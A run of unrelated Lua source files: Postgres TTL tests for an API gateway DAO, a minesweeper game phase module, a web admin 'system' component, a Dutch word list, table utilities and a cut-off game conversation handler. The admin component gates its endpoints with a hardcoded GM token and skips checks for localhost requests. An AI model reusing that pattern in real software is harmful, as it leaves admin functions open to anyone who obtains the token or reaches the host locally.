assert.falsy(err)
assert.truthy(row)
helpers.wait_until(function()
row, err = dao.apis:find { id = api.id }
assert.falsy(err)
return row == nil
end, 10)
end)
if strategy == "postgres" then
it("retrieves proper entity with no TTL properties attached", function()
local _, err = dao.apis:insert({
name = "example",
hosts = { "example.com" },
upstream_url = "http://example.com"
}, { ttl = 2 })
assert.falsy(err)
local rows, err = dao.apis:find_all()
assert.falsy(err)
assert.is_table(rows)
assert.equal(1, #rows)
-- Check that no TTL stuff is in the returned value
assert.is_nil(rows[1].primary_key_value)
assert.is_nil(rows[1].primary_uuid_value)
assert.is_nil(rows[1].table_name)
assert.is_nil(rows[1].primary_key_name)
assert.is_nil(rows[1].expire_at)
end)
it("clears old entities", function()
local _db = dao.db
for i = 1, 4 do
local _, err = dao.apis:insert({
name = "api-" .. i,
hosts = { "example" .. i .. ".com" },
upstream_url = "http://example.com"
}, { ttl = 2 })
assert.falsy(err)
end
local _, err = dao.apis:insert({
name = "long-ttl",
hosts = { "example-longttl.com" },
upstream_url = "http://example.com"
}, { ttl = 3 })
assert.falsy(err)
local res, err = _db:query("SELECT COUNT(*) FROM apis")
assert.falsy(err)
assert.equal(5, res[1].count)
res, err = _db:query("SELECT COUNT(*) FROM ttls")
assert.falsy(err)
assert.truthy(res[1].count >= 5)
helpers.wait_until(function()
local ok, err = _db:clear_expired_ttl()
assert.falsy(err)
assert.truthy(ok)
local res_apis, err = _db:query("SELECT COUNT(*) FROM apis")
assert.falsy(err)
local res_ttls, err = _db:query("SELECT COUNT(*) FROM ttls")
assert.falsy(err)
return res_apis[1].count == 1 and res_ttls[1].count == 1
end, 10)
end)
end
end)
end
|
GamePhase = {}
local lNumMoves = 0
local lSonarCol = 0
local lSonarRow = 0
local lTouchesEnabled = nil
local lLastCol = 0
local lLastRow = 0
local lBoostThread = nil
------------------------------------------------------------------------------------------
function GamePhase.ZoomIn()
if lTouchesEnabled then
Views.FullBoard:SetAlpha( 0, 0.2 )
Views.ScrollingBoard:SetAlpha( 1, 0.2 )
gZoomed = true
Audio.PlayClick( true )
end
end
function GamePhase.ZoomOut()
if lTouchesEnabled then
Views.FullBoard:SetAlpha( 1, 0.2 )
Views.ScrollingBoard:SetAlpha( 0, 0.2 )
gZoomed = false
Audio.PlayClick( true )
end
end
function GamePhase.ClearGameViews()
Views.TopBar:SetFrame( FCRectZero() )
Views.FullBoard:SetFrame( FCRectZero() )
Views.ScrollingBoard:SetFrame( FCRectZero() )
Views.GameOver:SetFrame( FCRectZero() )
Views.Recover:SetFrame( FCRectZero() )
Views.Quit:SetFrame( FCRectZero() )
Views.Congratulations:SetFrame( FCRectZero() )
Views.Continue:SetFrame( FCRectZero() )
Views.MainMenu:SetFrame( FCRectZero() )
end
function GamePhase.SolvedThread()
lTouchesEnabled = false
FCWait( 1.0 )
--GamePhase.ZoomOut()
Views.ScrollingBoard:SetAlpha( 0, 1 )
Views.FullBoard:SetAlpha( 0.25, 1 )
Audio.PlayYay()
Views.Congratulations:SetAlpha(1);
Views.Congratulations:MoveToFront()
if gCurrentMapNumber < 100 then
Views.Continue:SetAlpha(1)
Views.Continue:MoveToFront()
Views.Continue:SetTapFunction( "GamePhase.ContinueSelected" )
end
Views.MainMenu:SetAlpha(1)
Views.MainMenu:MoveToFront()
Views.MainMenu:SetTapFunction( "GamePhase.QuitSelected" )
end
------------------------------------------------------------------------------------------
function GamePhase.MagSelected()
if lTouchesEnabled then
if gZoomed then
GamePhase.ZoomOut()
else
GamePhase.ZoomIn()
end
end
end
------------------------------------------------------------------------------------------
function GamePhase.SaveGameState()
-- FCPersistentData.SetString( kSaveKey_BoardState, Board.Serialise() )
-- FCPersistentData.SetString( kSaveKey_MSState, MSManager.Serialise() );
end
function GamePhase.RestoreGameState()
end
------------------------------------------------------------------------------------------
function GamePhase.RecoverSelected()
FCLog("Recover Selected")
Audio.PlayClick()
FCAnalytics.RegisterEvent( "Undo Pressed" )
if GetNumCoins() > (kUndoCost - 1) then
Views.FullBoard:SetAlpha( 1, 1 )
Views.ScrollingBoard:SetAlpha( 0, 1 )
SetNumCoins( GetNumCoins() - kUndoCost )
GamePhase.UpdateCoinsView()
lTouchesEnabled = true;
MSManager.HideLocation( lLastCol, lLastRow )
Views.TopBar.SpendCoin:SetTapFunction( "GamePhase.ReconPressed" )
Views.TopBar.Magnify:SetTapFunction( "GamePhase.MagSelected" )
Views.GameOver:SetAlpha( 0 )
Views.Recover:SetAlpha( 0 )
Views.Quit:SetAlpha( 0 )
else
gBuyCoinsSource = "recover"
Store.LaunchBuyCoins("game")
end
end
------------------------------------------------------------------------------------------
function GamePhase.PlayerSelectedBomb()
Audio.PlayBoo()
lTouchesEnabled = false
Views.TopBar.SpendCoin:SetTapFunction( "" )
Views.TopBar.Magnify:SetTapFunction( "" )
Views.GameOver:MoveToFront()
Views.Recover:MoveToFront()
Views.Quit:MoveToFront()
Views.GameOver:SetAlpha( 1, 1 )
Views.Recover:SetAlpha( 1, 1 )
Views.Quit:SetAlpha( 1, 1 )
Views.ScrollingBoard:SetAlpha( 0.25, 1 )
Views.Quit:SetTapFunction( "GamePhase.QuitSelected" )
Views.Recover:SetTapFunction( "GamePhase.RecoverSelected" )
end
------------------------------------------------------------------------------------------
function GamePhase.SetCoinViewToHint()
--spendCoinTextView:SetText( "Hint" )
Views.TopBar.SpendCoin.Text:SetText( kText_Hint )
Views.TopBar.SpendCoin:SetTapFunction( "GamePhase.HintPressed" )
if lBoostThread ~= nil then
FCKillThread( lBoostThread )
lBoostThread = nil
Views.TopBar.SpendCoin.Text:SetTextColor( kBlackColor )
Views.TopBar.SpendCoin.Text:SetFontWithSize( kGameFont, Layout.TopLineFontSize() )
end
end
function GamePhase.PlayerSelected( col, row )
if lTouchesEnabled then
lLastCol = col
lLastRow = row
FCLog( "Player selected tile at " .. col .. " " .. row )
MSManager.TileSelected( col, row )
lNumMoves = lNumMoves + 1
if lNumMoves == 1 then
GamePhase.SetCoinViewToHint()
end
Audio.PlayClick( true )
GamePhase.SaveGameState()
end
end
------------------------------------------------------------------------------------------
function GamePhase.FlashNumFlagsThread()
for i = 1,5 do
Views.TopBar.NumFlags.Text:SetTextColor( kRedColor )
Views.TopBar.NumFlags.Text:SetFontWithSize( kGameFont, Layout.TopLineFontSize() * 1.5 )
FCWait( 0.1 )
Views.TopBar.NumFlags.Text:SetTextColor( kBlackColor )
Views.TopBar.NumFlags.Text:SetFontWithSize( kGameFont, Layout.TopLineFontSize() )
FCWait( 0.1 )
end
end
function GamePhase.PlayerToggledFlag( col, row )
if lTouchesEnabled then
if Board.ContentsOfTile( col, row ) == kTileFlagged then
MSManager.ToggleFlag( col, row )
Board.SetNumFlagsLeft( Board.GetNumFlagsLeft() + 1 )
Audio.PlayFlag()
else
if Board.GetNumFlagsLeft() > 0 then
MSManager.ToggleFlag( col, row )
Board.SetNumFlagsLeft( Board.GetNumFlagsLeft() - 1 )
Audio.PlayFlag()
else
FCNewThread( GamePhase.FlashNumFlagsThread, "flashNumFlags" )
end
end
GamePhase.UpdateNumFlags()
end
end
------------------------------------------------------------------------------------------
function GamePhase.ReconPressed()
if lTouchesEnabled then
Audio.PlayClick()
FCAnalytics.RegisterEvent( "Boost Pressed" )
-- recon costs 1 coin
if GetNumCoins() > (kReconCost - 1)then
SetNumCoins( GetNumCoins() - kReconCost )
GamePhase.UpdateCoinsView()
MSManager.TileSelected( lSonarCol, lSonarRow )
GamePhase.SetCoinViewToHint()
local boostCount = FCPersistentData.GetNumber( kSaveKey_BoostCount )
FCPersistentData.SetNumber( kSaveKey_BoostCount, boostCount + 1 )
else
gBuyCoinsSource = "recon"
Store.LaunchBuyCoins("game")
end
end
end
------------------------------------------------------------------------------------------
local lBombLocations = {}
function BombLocation( col, row )
lBombLocations[ #lBombLocations + 1 ] = { col, row, Board.ContentsOfTile( col, row ) }
end
function GamePhase.HintThread()
FCLog( "Hint thread" )
lTouchesEnabled = false
lBombLocations = {}
MSManager.BombLocations( "BombLocation" )
for bomb = 1, #lBombLocations do
info = lBombLocations[ bomb ]
Board.TileChanged( info[1], info[2], kTileMine )
end
FCWait(2)
for bomb = 1, #lBombLocations do
info = lBombLocations[ bomb ]
Board.TileChanged( info[1], info[2], info[3] )
end
lTouchesEnabled = true
end
function GamePhase.HintPressed()
if lTouchesEnabled then
Audio.PlayClick()
FCAnalytics.RegisterEvent( "Hint Pressed" )
if GetNumCoins() > (kHintCost - 1) then
SetNumCoins( GetNumCoins() - kHintCost )
GamePhase.UpdateCoinsView()
FCNewThread( GamePhase.HintThread, "hint" )
else
gBuyCoinsSource = "hint"
Store.LaunchBuyCoins("game")
end
end
end
------------------------------------------------------------------------------------------
function GamePhase.QuitThread()
GamePhase.ClearGameViews()
FCPhaseManager.AddPhaseToQueue( "FrontEnd" )
FCPhaseManager.DeactivatePhase( "Game" )
end
function GamePhase.QuitSelected()
FCLog("QuitSelected")
Audio.PlayClick()
FCNewThread( GamePhase.QuitThread, "quit" )
end
------------------------------------------------------------------------------------------
function GamePhase.CompletedGame() -- completed the full game
end
------------------------------------------------------------------------------------------
function GamePhase.ContinueSelected()
-- increment level and possibly difficulty
Audio.PlayClick()
if FCPersistentData.GetBool( gSaveKeyCompleted ) then
gCurrentMapNumber = math.random( 1, 99 )
else
if gCurrentMapNumber == 100 then
QuitSelected()
return
else
gCurrentMapNumber = gCurrentMapNumber + 1
end
end
GamePhase.WillActivate()
end
------------------------------------------------------------------------------------------
function GamePhase.UpdateNumFlags()
Views.TopBar.NumFlags.Text:SetText( "" .. Board.GetNumFlagsLeft() )
end
function GamePhase.UpdateCoinsView()
Views.TopBar.GameCoins.Text:SetText( "" .. GetNumCoins() )
end
------------------------------------------------------------------------------------------
function BuyCoinsFromCoinView()
Audio.PlayClick()
gBuyCoinsSource = "coinsView"
Store.LaunchBuyCoins("game")
end
function GamePhase.FlashBoostThread()
while true do
Views.TopBar.SpendCoin.Text:SetTextColor( kGreenColor )
FCWait( 0.5 )
Views.TopBar.SpendCoin.Text:SetTextColor( kBlackColor )
FCWait( 0.5 )
end
end
function GamePhase.WillActivate()
Audio.PlayStart()
if lBoostThread ~= nil then
FCKillThread( lBoostThread )
lBoostThread = nil
end
if gCurrentMapNumber > 100 then
gCurrentMapNumber = math.random( 1, 99 )
end
FCLog("GamePhase.WillActivate")
FCLog( "CurrentMapNumber = " .. gCurrentMapNumber )
if gDifficulty == kGameEasy then
FCLog( "Difficulty: easy" )
elseif gDifficulty == kGameMedium then
FCLog( "Difficulty: medium" )
elseif gDifficulty == kGameHard then
FCLog( "Difficulty: hard" )
else
FCLog( "Difficulty: easy" )
end
if gDifficulty == kGameEasy then
gNumTreasure = 2
elseif gDifficulty == kGameMedium then
gNumTreasure = 2
elseif gDifficulty == kGameHard then
gNumTreasure = 1
else
gNumTreasure = 0
end
AdsOn()
Layout.SetAdOffset()
-- Create the map
LoadMaps()
mapData = maps[ gCurrentMapNumber ]
gNumColumns = mapData["sizeX"]
gNumRows = mapData["sizeY"]
gNumBombs = mapData["numBombs"]
lSonarCol = mapData[ "startCol" ]
lSonarRow = mapData[ "startRow" ]
Board.SetNumFlagsLeft( gNumBombs )
Views.FullBoard.Number:SetText( "" .. gCurrentMapNumber )
Views.FullBoard.Number:SetAlpha( 1 )
Views.FullBoard.Number:SetAlpha( 0, 2 )
if gDifficulty == kGameEasy then
Views.FullBoard.Difficulty:SetText( kText_Easy )
elseif gDifficulty == kGameMedium then
Views.FullBoard.Difficulty:SetText( kText_Medium )
elseif gDifficulty == kGameHard then
Views.FullBoard.Difficulty:SetText( kText_Hard )
else
Views.FullBoard.Difficulty:SetText( kText_Extreme )
end
Views.FullBoard.Difficulty:SetAlpha( 1 )
Views.FullBoard.Difficulty:SetAlpha( 0, 2 )
MSManager.CreateGame( gNumColumns, gNumRows, gNumBombs, mapData["seed"], gNumTreasure, lSonarCol, lSonarRow )
Board.Init( gNumColumns, gNumRows )
--FCPersistentData.SetNumber( kSaveKey_CurrentDifficulty, gDifficulty )
Views.TopBar:SetFrame( Layout.TopBarFrame() )
Views.TopBar.QuitButton:SetTapFunction( "GamePhase.QuitSelected" )
Views.TopBar.SpendCoin:SetTapFunction( "GamePhase.ReconPressed" )
Views.TopBar.SpendCoin.Text:SetText( kText_Boost )
Views.TopBar.Magnify:SetTapFunction( "GamePhase.MagSelected" )
Views.GameOver:SetFrame( GameOverFrame() )
Views.GameOver:SetAlpha( 0, 0 )
Views.Recover:SetFrame( RecoverFrame() )
Views.Recover:SetAlpha( 0, 0 )
GamePhase.UpdateNumFlags()
Views.Quit:SetFrame( QuitFrame() )
Views.Quit:SetAlpha( 0, 0 )
Views.Congratulations:SetFrame( CongratulationsFrame() )
Views.Congratulations:SetAlpha( 0 )
Views.Continue:SetFrame( ContinueFrame() )
Views.Continue:SetAlpha( 0 )
Views.MainMenu:SetFrame( BackToMainMenuFrame() )
Views.MainMenu:SetAlpha( 0 )
Views.TopBar.GameCoins.Text:SetText( "" .. GetNumCoins() )
Views.TopBar.GameCoins:SetTapFunction( "BuyCoinsFromCoinView" )
-- buy coins view group
Store.InitViews()
gZoomed = false
Views.FullBoard:SetFrame( FullBoardFrame() )
Views.FullBoard:SetTapFunction( "GamePhase.ZoomIn" )
Views.ScrollingBoard:SetFrame( ScrollingBoardFrame() )
Views.ScrollingBoard:SetTapFunction( "GamePhase.PlayerSelected" )
Views.ScrollingBoard:SetStringProperty( "pressFunction", "GamePhase.PlayerToggledFlag" )
Views.FullBoard:SetAlpha( 1 )
Views.ScrollingBoard:SetAlpha( 0 )
if gMapSize == kMapSizeSmall then
Views.ScrollingBoard:SetStringProperty( "backgroundImage", "Assets/Images/Grid10x10.png" )
Views.FullBoard:SetStringProperty( "backgroundImage", "Assets/Images/Grid10x10.png" )
elseif gMapSize == kMapSizeMedium then
Views.ScrollingBoard:SetStringProperty( "backgroundImage", "Assets/Images/Grid15x15.png" )
Views.FullBoard:SetStringProperty( "backgroundImage", "Assets/Images/Grid15x15.png" )
elseif gMapSize == kMapSizeLarge then
Views.ScrollingBoard:SetStringProperty( "backgroundImage", "Assets/Images/Grid20x20.png" )
Views.FullBoard:SetStringProperty( "backgroundImage", "Assets/Images/Grid20x20.png" )
else
Views.ScrollingBoard:SetStringProperty( "backgroundImage", "Assets/Images/Grid25x25.png" )
Views.FullBoard:SetStringProperty( "backgroundImage", "Assets/Images/Grid25x25.png" )
end
-- Initialize the locals
lNumMoves = 0
lTouchesEnabled = true
FCOnlineAchievement.ReportUnreported()
-- if FCPersistentData.GetNumber( kSaveKey_BoostCount ) < 5 then
lBoostThread = FCNewThread( GamePhase.FlashBoostThread, "flashBoost")
-- end
end
function GamePhase.IsNowActive()
FCLog("GamePhase.IsNowActive")
end
function GamePhase.WillDeactivate()
FCLog("GamePhase.WillDeactivate")
AdsOff()
end
function GamePhase.IsNowDeactive()
FCLog("GamePhase.IsNowDeactive")
end
function GamePhase.Update()
end
function TileChanged( col, row, tileType )
Board.TileChanged( col, row, tileType)
if tileType == kTileMine then
GamePhase.PlayerSelectedBomb()
end
end
function Solved()
FCLog("SOLVED! ")
FCNewThread( GamePhase.SolvedThread , "solved" )
local levelNum = 0
if gDifficulty == kGameEasy then
if FCPersistentData.GetBool( kSaveKey_CompletedEasy ) == false then
levelNum = FCPersistentData.GetNumber( kSaveKey_EasyProgress )
FCOnlineLeaderboard.PostScore( "easyprogress", levelNum + 1 )
if levelNum == 0 then
FCOnlineAchievement.SetProgress( kAchievement_UnlockMedium, 1 )
end
if levelNum == 99 then
FCPersistentData.SetBool( kSaveKey_CompletedEasy, true )
end
FCOnlineAchievement.SetProgress( kAchievement_AllEasyMaps, (levelNum + 1) / 100 )
FCPersistentData.SetNumber( kSaveKey_EasyProgress, levelNum + 1 )
else
FCOnlineLeaderboard.PostScore( "easyprogress", 100 )
end
elseif gDifficulty == kGameMedium then
if FCPersistentData.GetBool( kSaveKey_CompletedMedium ) == false then
levelNum = FCPersistentData.GetNumber( kSaveKey_MediumProgress )
FCOnlineLeaderboard.PostScore( "mediumprogress", levelNum + 1 )
if levelNum == 0 then
FCOnlineAchievement.SetProgress( kAchievement_UnlockHard, 1 )
end
if levelNum == 99 then
FCPersistentData.SetBool( kSaveKey_CompletedMedium, true )
end
FCOnlineAchievement.SetProgress( kAchievement_AllMediumMaps, (levelNum + 1) / 100 )
FCPersistentData.SetNumber( kSaveKey_MediumProgress, levelNum + 1)
else
FCOnlineLeaderboard.PostScore( "mediumprogress", 100 )
end
elseif gDifficulty == kGameHard then
if FCPersistentData.GetBool( kSaveKey_CompletedHard ) == false then
levelNum = FCPersistentData.GetNumber( kSaveKey_HardProgress )
FCOnlineLeaderboard.PostScore( "hardprogress", levelNum + 1 )
if levelNum == 0 then
FCOnlineAchievement.SetProgress( kAchievement_UnlockExtreme, 1 )
end
if levelNum == 99 then
FCPersistentData.SetBool( kSaveKey_CompletedHard, true )
end
FCOnlineAchievement.SetProgress( kAchievement_AllHardMaps, (levelNum + 1) / 100 )
FCPersistentData.SetNumber( kSaveKey_HardProgress, levelNum + 1 )
else
FCOnlineLeaderboard.PostScore( "hardprogress", 100 )
end
else
if FCPersistentData.GetBool( kSaveKey_CompletedExtreme ) == false then
levelNum = FCPersistentData.GetNumber( kSaveKey_ExtremeProgress )
if levelNum == 99 then
FCPersistentData.SetBool( kSaveKey_CompletedExtreme, true )
end
FCOnlineLeaderboard.PostScore( "extremeprogress", levelNum + 1 )
FCOnlineAchievement.SetProgress( kAchievement_AllExtremeMaps, (levelNum + 1) / 100 )
FCPersistentData.SetNumber( kSaveKey_ExtremeProgress, levelNum + 1)
else
FCOnlineLeaderboard.PostScore( "extremeprogress", 100 )
end
end
-- do some achievements stuff
local lNumSolved = FCPersistentData.GetNumber( kSaveKey_EasyProgress )
lNumSolved = lNumSolved + FCPersistentData.GetNumber( kSaveKey_MediumProgress )
lNumSolved = lNumSolved + FCPersistentData.GetNumber( kSaveKey_HardProgress )
lNumSolved = lNumSolved + FCPersistentData.GetNumber( kSaveKey_ExtremeProgress )
if lNumSolved < 10 then
FCOnlineAchievement.SetProgress( kAchievement_Solved10Maps, (lNumSolved + 1) / 10 )
end
if lNumSolved < 50 then
FCOnlineAchievement.SetProgress( kAchievement_Solved50Maps, (lNumSolved + 1) / 50 )
end
if lNumSolved < 100 then
FCOnlineAchievement.SetProgress( kAchievement_Solved100Maps, (lNumSolved + 1) / 100 )
end
if lNumSolved < 200 then
FCOnlineAchievement.SetProgress( kAchievement_Solved200Maps, (lNumSolved + 1) / 200 )
end
if lNumSolved < 400 then
FCOnlineAchievement.SetProgress( kAchievement_CompletedGame, (lNumSolved + 1) / 400 )
end
FCPersistentData.Save()
-- process how many games the player has won and award appropriate achievement
end
function CloseFoundTreasure()
Views.FoundTreasure:SetFrame( FoundTreasureFCRectZero(), 0.2 )
SetNumCoins( GetNumCoins() + kTreasureNumCoins )
GamePhase.UpdateCoinsView()
end
function FoundTreasure()
-- FCLog("Found Treasure")
-- FCAnalytics.RegisterEvent( "foundTreasure" )
-- Views.FoundTreasure:SetBackgroundColor( FCColorMake( 0, 1, 0, 1 ) )
-- Views.FoundTreasure:MoveToFront()
-- Views.FoundTreasure:SetFrame( FoundTreasureFCRectZero() )
-- Views.FoundTreasure:SetTapFunction( "CloseFoundTreasure" )
-- Views.FoundTreasure:SetFrame( FoundTreasureFrame(), 0.2 )
end
|
local Com = require "meiru.com.com"
----------------------------------------------
--ComSystem
----------------------------------------------
local GMs = {
['oCHWR4lrP4uuiWqs8XG7v5iHIPGEoCHWR4lrP4uuiWqs8XG7v5iHIPGE'] = true
}
local ComSystem = class("ComSystem", Com)
function ComSystem:ctor()
end
function ComSystem:match(req, res)
if req.ip == "127.0.0.1" then
return
end
local token = req.query["token"]
if type(token) ~= "string" or #token < 10 then
return false
end
if not GMs[token] then
return false
end
end
local function testIp(ip)
local items = string.split(ip, ".")
if #items ~= 4 then
return false
end
for _,item in ipairs(items) do
if #item > 3 then
return false
end
item = tonumber(item)
if item < 0 then
return false
end
if item > 255 then
return false
end
end
return true
end
------------------------------------------
local systemd = require "meiru.server.systemd"
local cmds = {
["network"] = function(req, res, page, limit)
local data = systemd.net_stat(page, limit)
local retval = {
code = 0,
msg = "",
count = #data,
data = data,
}
return retval
end,
["service"] = function(req, res, page, limit)
local data = systemd.service_stat(page, limit)
local stat = systemd.mem_stat()
local retval = {
code = 0,
msg = "",
count = #data,
data = data,
total = stat.total,
block = stat.block
}
return retval
end,
["visit"] = function(req, res, page, limit)
local data = systemd.client_stat()
-- local region = ip2regiond.ip2region(req.ip)
local retval = {
code = 0,
msg = "",
count = #data,
data = data,
addr = req.addr,
-- region = region,
}
return retval
end,
["router"] = function(req, res, page, limit)
local data = req.app:treeprint()
local retval = {
code = 0,
msg = "",
data = data,
}
return retval
end,
["online"] = function(req, res, page, limit)
local data = systemd.online_stat()
local retval = {
code = 0,
msg = "",
data = data,
}
return retval
end,
["system"] = function(req, res, page, limit)
local data = systemd.system_stat()
local retval = {
code = 0,
msg = "",
count = #data,
data = data,
}
return retval
end,
["kick"] = function(req, res, page, limit)
local ip = req.query.ip
if req.id == ip then
log("self req.query =", req.query)
return {
code = 1,
msg = "不能拉黑自己"
}
end
if not testIp(ip) then
log("bad req.query =", req.query)
return {
code = 1,
msg = "不是IP"
}
end
systemd.kick(ip)
local retval = {
code = 0,
ip = ip
}
return retval
end,
["db_tables"] = function(req, res, page, limit)
local mysqldbd = require "meiru.db.mysqldbd"
local tables = mysqldbd.table_descs()
local retval = {
code = 0,
msg = "",
count = #tables,
data = tables,
}
return retval
end,
}
-----------------------------------------
local meiru = require "meiru.meiru"
local router = meiru.router()
router.get('/system/index', function(req, res)
local tab = req.query.tab
local item = req.query.item
local token = req.query.token
res.set_layout(nil)
return res.html('/system/index', {
url_path = "/system/index",
api_path = "/system/",
token = token or '',
cur_tab = tab,
cur_item = item
})
end)
router.get('/system/:what', function(req, res)
local what = req.params.what
local page = req.query.page
local limit = req.query.limit
local retval = cmds[what](req, res, page, limit)
return res.json(retval)
end)
local node = router.node()
node:set_path("/system")
node:add("ComSystem")
return node
|
return {'zou','zouden','zout','zoutachtig','zoutafzetting','zoutarm','zoutbak','zoutberg','zoute','zouteloos','zouteloosheid','zouten','zouter','zoutevis','zoutgehalte','zoutheid','zouthoudend','zoutig','zoutje','zoutkeet','zoutkoepel','zoutkorrel','zoutkristal','zoutlepeltje','zoutloos','zoutmeer','zoutmijn','zoutminnend','zoutoplossing','zoutpakhuis','zoutpan','zoutpilaar','zoutplant','zoutpot','zoutraffinaderij','zoutstrooier','zoutte','zouttuin','zoutvaatje','zoutvat','zoutverbruik','zoutvlees','zoutwaterbron','zoutwatermeer','zoutwatervis','zoutweger','zoutwinning','zoutzak','zoutzieder','zoutziederij','zoutzuur','zoutlozing','zoutontginning','zoutwateraquarium','zoutvlakte','zoutconcentratie','zoutbad','zoutbalans','zoutbelasting','zoutfabriek','zoutgebruik','zoutgeld','zouthotel','zouthuishouding','zoutindustrie','zoutinname','zoutkorst','zoutlaag','zoutenaaie','zoutleeuw','zouhair','zoutewelle','zoude','zoudt','zoutachtige','zoutbakken','zoutbergen','zouteloze','zoutelozer','zoutere','zouters','zoutige','zoutiger','zoutjes','zoutketen','zoutkorrels','zoutlagen','zoutlepeltjes','zoutloze','zoutmeren','zoutmijnen','zoutpakhuizen','zoutpannen','zoutpilaren','zoutplanten','zoutpotten','zoutraffinaderijen','zoutst','zoutste','zoutstrooiers','zoutten','zouttuinen','zoutvaatjes','zoutvaten','zoutvijvers','zoutwaterbronnen','zoutwatermeren','zoutwatervissen','zoutzakken','zoutziederijen','zoutzieders','zoutafzettingen','zoutarme','zouteloosheden','zouthoudende','zoutkoepels','zoutminnende','zoutoplossingen','zoutkristallen','zoutlozingen','zouteloost','zoutwateraquaria','zoutwateraquariums','zouhairs','zoutvlaktes','zoutvlakten','zoutconcentraties','zoutgehalten','zoutgehaltes','zoutzakjes'}
|
-- ===========
-- TABLE UTILS
-- ===========
-- Created by datwaft <github.com/datwaft>
local M = require'bubbly.core.module'.new('utils.table')
-- Makes a deep copy of a table
---@param table table
---@return table
function M.deepcopy(table)
local type = type(table)
local copy
if type == 'table' then
copy = {}
for k, v in pairs(table) do
copy[M.deepcopy(k)] = M.deepcopy(v)
end
setmetatable(copy, M.deepcopy(getmetatable(table)))
else
copy = table
end
return copy
end
-- Extracted from: http://lua-users.org/wiki/CopyTable
-- Returns the union of two tables with priority for the second one
---@param table1 table
---@param table2 table
---@return table
function M.fusion(table1, table2)
if not table2 or type(table2) ~= 'table' then return table1 end
if not table1 or type(table1) ~= 'table' then return table2 end
local new = M.deepcopy(table1)
for k2, v2 in pairs(table2) do
if type(v2) == 'table' then v2 = M.fusion(new[k2], v2) end
new[k2] = v2
end
return new
end
-- Returns the list of the elements inside the list that pass the test
---@param list any[]
---@param test fun(index: any, value: any): boolean
function M.filter(list, test)
local result = {}
for i, v in ipairs(list) do
if test(i, v) then
table.insert(result, v)
end
end
return result
end
return M
|
local ObjectManager = require("managers.object.object_manager")
tourAryonConvoHandler = conv_handler:new {}
function tourAryonConvoHandler:getInitialScreen(pPlayer, pNpc, pConvTemplate)
local convoTemplate = LuaConversationTemplate(pConvTemplate)
local curPhase = BestineElection:getCurrentPhase()
if (curPhase == BestineElection.ELECTION_PHASE) then
return convoTemplate:getScreen("init_election_phase")
else
return convoTemplate:getScreen("init_not_election_phase")
end
end
function tourAryonConvoHandler:runScreenHandlers(pConvTemplate, pPlayer, pNpc, selectedOption, pConvScreen)
local screen = LuaConversationScreen(pConvScreen)
local screenID = screen:getScreenID()
local pConvScreen = screen:cloneScreen()
local clonedConversation = LuaConversationScreen(pConvScreen)
local electionNum = BestineElection:getElectionNumber()
local electionWinner = BestineElection:getElectionWinner(electionNum)
if (screenID == "init_not_election_phase") then
if (electionWinner == BestineElection.SEAN) then
clonedConversation:addOption("@conversation/tour_aryon:s_5d2e1112", "sean_won") -- Who was the winning candidate?
elseif (electionWinner == BestineElection.VICTOR) then
clonedConversation:addOption("@conversation/tour_aryon:s_5d2e1112", "victor_won") -- Who was the winning candidate?
else
clonedConversation:addOption("@conversation/tour_aryon:s_5d2e1112", "no_one_won") -- Who was the winning candidate?
end
local timeLeftInSecs = BestineElection:getPhaseTimeLeft()
if (timeLeftInSecs < 3600) then
clonedConversation:addOption("@conversation/tour_aryon:s_68d96c4a", "within_the_hour") -- The next election starts within the hour.
elseif (timeLeftInSecs < 14400) then
clonedConversation:addOption("@conversation/tour_aryon:s_68d96c4a", "in_a_few_hours") -- The next election starts in just a few hours.
elseif (timeLeftInSecs < 86400) then
clonedConversation:addOption("@conversation/tour_aryon:s_68d96c4a", "in_less_than_a_day") -- In less than a day the next election will begin.
elseif (timeLeftInSecs < 172800) then
clonedConversation:addOption("@conversation/tour_aryon:s_68d96c4a", "in_more_than_a_day") -- The election won't begin for more than a day.
elseif (timeLeftInSecs < 345600) then
clonedConversation:addOption("@conversation/tour_aryon:s_68d96c4a", "just_a_few_days") -- It's just a few days until the next election begins.
elseif (timeLeftInSecs < 604800) then
clonedConversation:addOption("@conversation/tour_aryon:s_68d96c4a", "in_less_than_a_week") -- The next election will start in less than a week.
elseif (timeLeftInSecs < 1209600) then
clonedConversation:addOption("@conversation/tour_aryon:s_68d96c4a", "in_more_than_a_week") -- The next election won't start for well over a week.
else
clonedConversation:addOption("@conversation/tour_aryon:s_68d96c4a", "in_more_than_two_weeks") -- It will be more than two weeks before the next election begins.
end
elseif (screenID == "init_election_phase") then
if (not BestineElection:hasPlayerVoted(pPlayer) and (BestineElection:canVoteForCandidate(pPlayer, BestineElection.SEAN) or BestineElection:canVoteForCandidate(pPlayer, BestineElection.VICTOR))) then
clonedConversation:addOption("@conversation/tour_aryon:s_fad1aba", "proper_evidence") -- I have some evidence I'd like to show you. It's for the election.
end
if (BestineElection:hasPlayerVoted(pPlayer)) then
clonedConversation:addOption("@conversation/tour_aryon:s_ca478f48", "get_involved_already_voted") -- Yes, I'd like to get involved.
else
clonedConversation:addOption("@conversation/tour_aryon:s_ca478f48", "get_involved_hasnt_voted") -- Yes, I'd like to get involved.
end
clonedConversation:addOption("@conversation/tour_aryon:s_3001dad0", "enjoy_your_time") -- No, not really. Just wandering through Bestine.
elseif (screenID == "proper_evidence") then
if not BestineElection:hasPlayerVoted(pPlayer) then
if BestineElection:canVoteForCandidate(pPlayer, BestineElection.VICTOR) then
clonedConversation:addOption("@conversation/tour_aryon:s_1a74caee", "has_victor_evidence") -- I am ready to vote.
elseif BestineElection:canVoteForCandidate(pPlayer, BestineElection.SEAN) then
clonedConversation:addOption("@conversation/tour_aryon:s_1a74caee", "has_sean_evidence") -- I am ready to vote.
end
end
clonedConversation:addOption("@conversation/tour_aryon:s_ccae64dd", "be_sure_to_return") -- On second thought, I think I'm not quite ready.
elseif (screenID == "get_involved_hasnt_voted") then
if (not BestineElection:hasPlayerVoted(pPlayer) and (BestineElection:canVoteForCandidate(pPlayer, BestineElection.SEAN) or BestineElection:canVoteForCandidate(pPlayer, BestineElection.VICTOR))) then
clonedConversation:addOption("@conversation/tour_aryon:s_65a4282", "glad_youre_taking_part") -- I'd like to vote, yes.
end
clonedConversation:addOption("@conversation/tour_aryon:s_fb124268", "completely_understand") -- No, I really need to go.
elseif (screenID == "only_positive_things") then
if (not BestineElection:hasPlayerVoted(pPlayer) and (BestineElection:canVoteForCandidate(pPlayer, BestineElection.SEAN) or BestineElection:canVoteForCandidate(pPlayer, BestineElection.VICTOR))) then
clonedConversation:addOption("@conversation/tour_aryon:s_e547fd1e", "glad_youre_taking_part") -- Okay. I'd like to vote.
end
